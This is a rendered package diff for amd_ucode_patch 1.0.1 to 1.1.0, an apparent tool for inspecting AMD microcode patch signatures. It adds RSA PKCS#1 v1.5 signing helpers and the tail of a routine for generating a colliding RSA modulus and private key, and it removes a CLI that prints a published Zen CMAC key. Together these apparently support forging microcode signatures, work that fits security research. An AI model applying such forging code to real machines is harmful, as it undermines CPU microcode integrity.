d = pow(exponent, -1, totient)
|
|
126
|
+
return n.to_bytes(size, "big"), d.to_bytes(size, "big")
|
|
127
|
+
|
|
128
|
+
nxt = (int.from_bytes(key, "big") + 2) % (1 << bits)
|
|
129
|
+
key[:] = nxt.to_bytes(size, "big")
|
|
130
|
+
key[0] |= 0x80
|
|
131
|
+
key[-1] |= 0x01
|
|
132
|
+
|
|
133
|
+
raise ValueError("failed to generate a colliding RSA modulus/private key")
|
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
#!/usr/bin/env python
|
|
2
|
+
# SPDX-License-Identifier: GPL-2.0-or-later
|
|
3
|
+
|
|
4
|
+
"""
|
|
5
|
+
General number-theory helpers.
|
|
6
|
+
"""
|
|
7
|
+
|
|
8
|
+
|
|
9
|
+
def prime_table(limit: int = 100000) -> list[int]:
|
|
10
|
+
"""
|
|
11
|
+
Return all primes up to ``limit`` via a sieve of Eratosthenes.
|
|
12
|
+
"""
|
|
13
|
+
sieve = bytearray(b"\x01") * (limit + 1)
|
|
14
|
+
sieve[0:2] = b"\x00\x00"
|
|
15
|
+
for i in range(2, int(limit ** 0.5) + 1):
|
|
16
|
+
if sieve[i]:
|
|
17
|
+
start = i * i
|
|
18
|
+
step = i
|
|
19
|
+
sieve[start:limit + 1:step] = b"\x00" * (((limit - start) // step) + 1)
|
|
20
|
+
return [i for i in range(2, limit + 1) if sieve[i]]
|
|
@@ -0,0 +1,107 @@
|
|
|
1
|
+
#!/usr/bin/env python
|
|
2
|
+
# SPDX-License-Identifier: GPL-2.0-or-later
|
|
3
|
+
|
|
4
|
+
"""
|
|
5
|
+
Minimal RSA signature verification helpers (textbook RSA + PKCS#1 v1.5 type 1).
|
|
6
|
+
"""
|
|
7
|
+
|
|
8
|
+
RSA_EXPONENT_F4 = 0x10001
|
|
9
|
+
|
|
10
|
+
|
|
11
|
+
def pkcs1_v15_pad_type1(payload: bytes, size: int) -> bytes:
|
|
12
|
+
"""
|
|
13
|
+
Build a PKCS#1 v1.5 type-1 padded block:
|
|
14
|
+
``00 01 FF..FF 00 || payload``.
|
|
15
|
+
"""
|
|
16
|
+
if size < len(payload) + 11:
|
|
17
|
+
raise ValueError("RSA size too small for PKCS#1 v1.5 padding")
|
|
18
|
+
ff_len = size - len(payload) - 3
|
|
19
|
+
return b"\x00\x01" + (b"\xff" * ff_len) + b"\x00" + payload
|
|
20
|
+
|
|
21
|
+
|
|
22
|
+
def pkcs1_v15_unpad_type1(block: bytes) -> bytes | None:
|
|
23
|
+
"""
|
|
24
|
+
Strip PKCS#1 v1.5 block-type-1 padding (``00 01 FF..FF 00 || payload``) and
|
|
25
|
+
return the payload, or ``None`` if the padding is malformed.
|
|
26
|
+
"""
|
|
27
|
+
if len(block) < 11 or block[0] != 0x00 or block[1] != 0x01:
|
|
28
|
+
return None
|
|
29
|
+
i = 2
|
|
30
|
+
while i < len(block) and block[i] == 0xFF:
|
|
31
|
+
i += 1
|
|
32
|
+
if i < 10 or i >= len(block) or block[i] != 0x00:
|
|
33
|
+
return None
|
|
34
|
+
return block[i + 1:]
|
|
35
|
+
|
|
36
|
+
|
|
37
|
+
def rsa_public_op(signature: bytes, modulus: bytes, exponent: int = RSA_EXPONENT_F4) -> bytes:
|
|
38
|
+
"""
|
|
39
|
+
Return the RSA-recovered block ``signature ** exponent mod modulus`` as a
|
|
40
|
+
big-endian byte string the same width as ``modulus``.
|
|
41
|
+
"""
|
|
42
|
+
n = int.from_bytes(modulus, "big")
|
|
43
|
+
s = int.from_bytes(signature, "big")
|
|
44
|
+
if n == 0 or s >= n:
|
|
45
|
+
raise ValueError("signature is not a residue modulo the public modulus")
|
|
46
|
+
m = pow(s, exponent, n)
|
|
47
|
+
return m.to_bytes(len(modulus), "big")
|
|
48
|
+
|
|
49
|
+
|
|
50
|
+
def montgomery_n_prime(modulus: bytes) -> bytes:
|
|
51
|
+
"""
|
|
52
|
+
Compute the Montgomery constant ``n' = -n^(-1) mod R`` for ``modulus``,
|
|
53
|
+
where ``R = 2^(8 * len(modulus))``.
|
|
54
|
+
|
|
55
|
+
This is the precomputed helper a Montgomery-reduction (REDC) modular
|
|
56
|
+
exponentiation needs so it can replace division by the modulus with a shift.
|
|
57
|
+
The modulus must be odd (as any RSA modulus is) for the inverse to exist.
|
|
58
|
+
Returned big-endian, the same width as ``modulus``.
|
|
59
|
+
"""
|
|
60
|
+
n = int.from_bytes(modulus, "big")
|
|
61
|
+
if n == 0 or n % 2 == 0:
|
|
62
|
+
raise ValueError("modulus must be non-zero and odd")
|
|
63
|
+
r = 1 << (8 * len(modulus))
|
|
64
|
+
inv = pow(n, -1, r)
|
|
65
|
+
return ((-inv) % r).to_bytes(len(modulus), "big")
|
|
66
|
+
|
|
67
|
+
|
|
68
|
+
def recover_pkcs1_v15_payload(signature: bytes, modulus: bytes, exponent: int = RSA_EXPONENT_F4) -> bytes | None:
|
|
69
|
+
"""
|
|
70
|
+
Recover the digest this signature commits to, using only the embedded
|
|
71
|
+
public ``modulus`` (no CMAC key required): compute
|
|
72
|
+
``signature ^ 0x10001 mod modulus`` and strip the PKCS#1 v1.5 padding.
|
|
73
|
+
|
|
74
|
+
Returns the recovered payload — the 16-byte AES-CMAC AMD signed — or
|
|
75
|
+
``None`` if the recovered block is not well-formed PKCS#1 v1.5 (e.g. a
|
|
76
|
+
corrupt signature or wrong modulus).
|
|
77
|
+
"""
|
|
78
|
+
try:
|
|
79
|
+
block = rsa_public_op(signature, modulus, exponent)
|
|
80
|
+
except ValueError:
|
|
81
|
+
return None
|
|
82
|
+
return pkcs1_v15_unpad_type1(block)
|
|
83
|
+
|
|
84
|
+
|
|
85
|
+
def verify_pkcs1_v15_payload(signature: bytes, modulus: bytes, digest: bytes,
|
|
86
|
+
exponent: int = RSA_EXPONENT_F4) -> bool:
|
|
87
|
+
"""
|
|
88
|
+
Verify a PKCS#1 v1.5 signature whose padded payload is the raw ``digest``
|
|
89
|
+
(no DigestInfo ASN.1 wrapper, as AMD uses a bare 16-byte CMAC).
|
|
90
|
+
"""
|
|
91
|
+
payload = recover_pkcs1_v15_payload(signature, modulus, exponent)
|
|
92
|
+
return payload is not None and payload == digest
|
|
93
|
+
|
|
94
|
+
|
|
95
|
+
def sign_pkcs1_v15_payload(digest: bytes, modulus: bytes, private: bytes) -> bytes:
|
|
96
|
+
"""
|
|
97
|
+
Create a PKCS#1 v1.5 signature over a precomputed ``digest`` using
|
|
98
|
+
textbook RSA private-key operation ``m^d mod n``.
|
|
99
|
+
"""
|
|
100
|
+
n = int.from_bytes(modulus, "big")
|
|
101
|
+
d = int.from_bytes(private, "big")
|
|
102
|
+
m = int.from_bytes(pkcs1_v15_pad_type1(digest, len(modulus)), "big")
|
|
103
|
+
if n == 0:
|
|
104
|
+
raise ValueError("modulus cannot be zero")
|
|
105
|
+
if m >= n:
|
|
106
|
+
raise ValueError("padded message is not smaller than modulus")
|
|
107
|
+
return pow(m, d, n).to_bytes(len(modulus), "big")
|
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
#!/usr/bin/env python
|
|
2
|
+
# SPDX-License-Identifier: GPL-2.0-or-later
|
|
3
|
+
|
|
4
|
+
"""
|
|
5
|
+
Byte-string XOR helpers.
|
|
6
|
+
"""
|
|
7
|
+
|
|
8
|
+
|
|
9
|
+
def xor_bytes(a: bytes, b: bytes) -> bytes:
|
|
10
|
+
"""
|
|
11
|
+
Return the byte-wise XOR of ``a`` and ``b``.
|
|
12
|
+
|
|
13
|
+
Both operands must be the same length; a mismatch raises ``ValueError``.
|
|
14
|
+
Works on any equal-length byte sequences (``bytes``, ``bytearray``,
|
|
15
|
+
``memoryview`` slices), not just 16-byte blocks.
|
|
16
|
+
"""
|
|
17
|
+
if len(a) != len(b):
|
|
18
|
+
raise ValueError(f"xor operands differ in length: {len(a)} != {len(b)}")
|
|
19
|
+
return bytes(x ^ y for x, y in zip(a, b))
|
|
@@ -1,89 +0,0 @@
|
|
|
1
|
-
#!/usr/bin/env python
|
|
2
|
-
# SPDX-License-Identifier: GPL-2.0-or-later
|
|
3
|
-
'''
|
|
4
|
-
A command line tool to inspect and verify AMD uCode patch signatures.
|
|
5
|
-
'''
|
|
6
|
-
|
|
7
|
-
import sys
|
|
8
|
-
import argparse
|
|
9
|
-
from Crypto.Cipher import AES
|
|
10
|
-
from Crypto.Hash import CMAC
|
|
11
|
-
from rich import box
|
|
12
|
-
from rich.console import Console
|
|
13
|
-
from rich.table import Table
|
|
14
|
-
from ..banner import BANNER
|
|
15
|
-
from ..parse import ucode_patch_parse
|
|
16
|
-
from .info import expand_paths
|
|
17
|
-
|
|
18
|
-
COLS = ["File", "Signed", "Digest", "Valid"]
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
def _parse_key(value: str) -> bytes:
|
|
22
|
-
text = value.strip().lower()
|
|
23
|
-
if text.startswith("0x"):
|
|
24
|
-
text = text[2:]
|
|
25
|
-
try:
|
|
26
|
-
key = bytes.fromhex(text)
|
|
27
|
-
except ValueError:
|
|
28
|
-
raise argparse.ArgumentTypeError(f"key must be hexadecimal, got {value!r}")
|
|
29
|
-
if len(key) != 16:
|
|
30
|
-
raise argparse.ArgumentTypeError(
|
|
31
|
-
f"key must be 16 bytes (32 hex chars), got {len(key)}"
|
|
32
|
-
)
|
|
33
|
-
return key
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
def _row(path, key):
|
|
37
|
-
"""Return (row_cells, verdict) where verdict is True/False (key given) or None."""
|
|
38
|
-
patch = ucode_patch_parse(path)
|
|
39
|
-
signature = patch.header.signature
|
|
40
|
-
|
|
41
|
-
if signature is None:
|
|
42
|
-
return (str(path), "[yellow]no[/yellow]", "", "[dim]n/a[/dim]"), None
|
|
43
|
-
|
|
44
|
-
recovered = signature.recover_digest()
|
|
45
|
-
digest = recovered.hex() if recovered is not None else "[red]<bad padding>[/red]"
|
|
46
|
-
|
|
47
|
-
if key is None:
|
|
48
|
-
return (str(path), "[green]yes[/green]", digest, "[dim]not checked[/dim]"), None
|
|
49
|
-
|
|
50
|
-
computed = CMAC.new(key, msg=patch.body.to_bytes(), ciphermod=AES).digest()
|
|
51
|
-
verdict = recovered is not None and recovered == computed
|
|
52
|
-
valid = "[green]yes[/green]" if verdict else "[red]no[/red]"
|
|
53
|
-
return (str(path), "[green]yes[/green]", digest, valid), verdict
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
def main():
|
|
57
|
-
console = Console()
|
|
58
|
-
console.print(BANNER, highlight=False)
|
|
59
|
-
|
|
60
|
-
parser = argparse.ArgumentParser(
|
|
61
|
-
description="Inspect AMD microcode patch signatures; verify them when a key is provided.",
|
|
62
|
-
epilog="The published Zen 1-4 CMAC key is 2b7e151628aed2a6abf7158809cf4f3c.",
|
|
63
|
-
)
|
|
64
|
-
parser.add_argument("files", nargs="+", help="Patch files to inspect")
|
|
65
|
-
parser.add_argument(
|
|
66
|
-
"-k", "--key", type=_parse_key, default=None,
|
|
67
|
-
help="AES-128 CMAC key as hex (32 hex chars); enables signature verification",
|
|
68
|
-
)
|
|
69
|
-
args = parser.parse_args()
|
|
70
|
-
|
|
71
|
-
table = Table(*COLS, box=box.HEAVY_HEAD)
|
|
72
|
-
all_ok = True
|
|
73
|
-
for path in expand_paths(args.files):
|
|
74
|
-
try:
|
|
75
|
-
row, verdict = _row(path, args.key)
|
|
76
|
-
table.add_row(*row)
|
|
77
|
-
if verdict is False:
|
|
78
|
-
all_ok = False
|
|
79
|
-
except Exception as e:
|
|
80
|
-
console.log(f"Error reading {path}: {e}")
|
|
81
|
-
all_ok = False
|
|
82
|
-
console.print(table)
|
|
83
|
-
|
|
84
|
-
# Non-zero only when a key was given and a signature failed to verify.
|
|
85
|
-
sys.exit(0 if all_ok else 1)
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
if __name__ == "__main__":
|
|
89
|
-
main()
|
|
@@ -1,65 +0,0 @@
|
|
|
1
|
-
#!/usr/bin/env python
|
|
2
|
-
# SPDX-License-Identifier: GPL-2.0-or-later
|
|
3
|
-
|
|
4
|
-
"""
|
|
5
|
-
Minimal RSA signature verification helpers (textbook RSA + PKCS#1 v1.5 type 1).
|
|
6
|
-
|
|
7
|
-
No private-key operations and no external dependencies: verification is just a
|
|
8
|
-
modular exponentiation (``pow``) plus unpadding, which is all that is needed to
|
|
9
|
-
check an AMD microcode patch signature against its embedded public modulus.
|
|
10
|
-
"""
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
def rsa_recover(signature: bytes, modulus: bytes, exponent: int = 0x10001) -> bytes:
|
|
14
|
-
"""
|
|
15
|
-
Return the RSA-recovered block ``signature ** exponent mod modulus`` as a
|
|
16
|
-
big-endian byte string the same width as ``modulus``.
|
|
17
|
-
"""
|
|
18
|
-
n = int.from_bytes(modulus, "big")
|
|
19
|
-
s = int.from_bytes(signature, "big")
|
|
20
|
-
if n == 0 or s >= n:
|
|
21
|
-
raise ValueError("signature is not a residue modulo the public modulus")
|
|
22
|
-
m = pow(s, exponent, n)
|
|
23
|
-
return m.to_bytes(len(modulus), "big")
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
def pkcs1_v15_unpad(block: bytes) -> bytes | None:
|
|
27
|
-
"""
|
|
28
|
-
Strip PKCS#1 v1.5 block-type-1 padding (``00 01 FF..FF 00 || payload``) and
|
|
29
|
-
return the payload, or ``None`` if the padding is malformed.
|
|
30
|
-
"""
|
|
31
|
-
if len(block) < 11 or block[0] != 0x00 or block[1] != 0x01:
|
|
32
|
-
return None
|
|
33
|
-
i = 2
|
|
34
|
-
while i < len(block) and block[i] == 0xFF:
|
|
35
|
-
i += 1
|
|
36
|
-
if i < 10 or i >= len(block) or block[i] != 0x00:
|
|
37
|
-
return None
|
|
38
|
-
return block[i + 1:]
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
def digest_recover(signature: bytes, modulus: bytes, exponent: int = 0x10001) -> bytes | None:
|
|
42
|
-
"""
|
|
43
|
-
Recover the digest this signature commits to, using only the embedded
|
|
44
|
-
public ``modulus`` (no CMAC key required): compute
|
|
45
|
-
``signature ^ 0x10001 mod modulus`` and strip the PKCS#1 v1.5 padding.
|
|
46
|
-
|
|
47
|
-
Returns the recovered payload — the 16-byte AES-CMAC AMD signed — or
|
|
48
|
-
``None`` if the recovered block is not well-formed PKCS#1 v1.5 (e.g. a
|
|
49
|
-
corrupt signature or wrong modulus).
|
|
50
|
-
"""
|
|
51
|
-
try:
|
|
52
|
-
block = rsa_recover(signature, modulus, exponent)
|
|
53
|
-
except ValueError:
|
|
54
|
-
return None
|
|
55
|
-
return pkcs1_v15_unpad(block)
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
def pkcs1_v15_verify(signature: bytes, modulus: bytes, digest: bytes,
|
|
59
|
-
exponent: int = 0x10001) -> bool:
|
|
60
|
-
"""
|
|
61
|
-
Verify a PKCS#1 v1.5 signature whose padded payload is the raw ``digest``
|
|
62
|
-
(no DigestInfo ASN.1 wrapper, as AMD uses a bare 16-byte CMAC).
|
|
63
|
-
"""
|
|
64
|
-
payload = digest_recover(signature, modulus, exponent)
|
|
65
|
-
return payload is not None and payload == digest
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
{amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/src/amd_ucode_patch/structures/patch_date.py
RENAMED
|
File without changes
|
{amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/src/amd_ucode_patch/structures/patch_header.py
RENAMED
|
File without changes
|
{amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/src/amd_ucode_patch/structures/patch_level.py
RENAMED
|
File without changes
|
{amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/src/amd_ucode_patch/structures/verified_header.py
RENAMED
|
File without changes
|
|
File without changes
|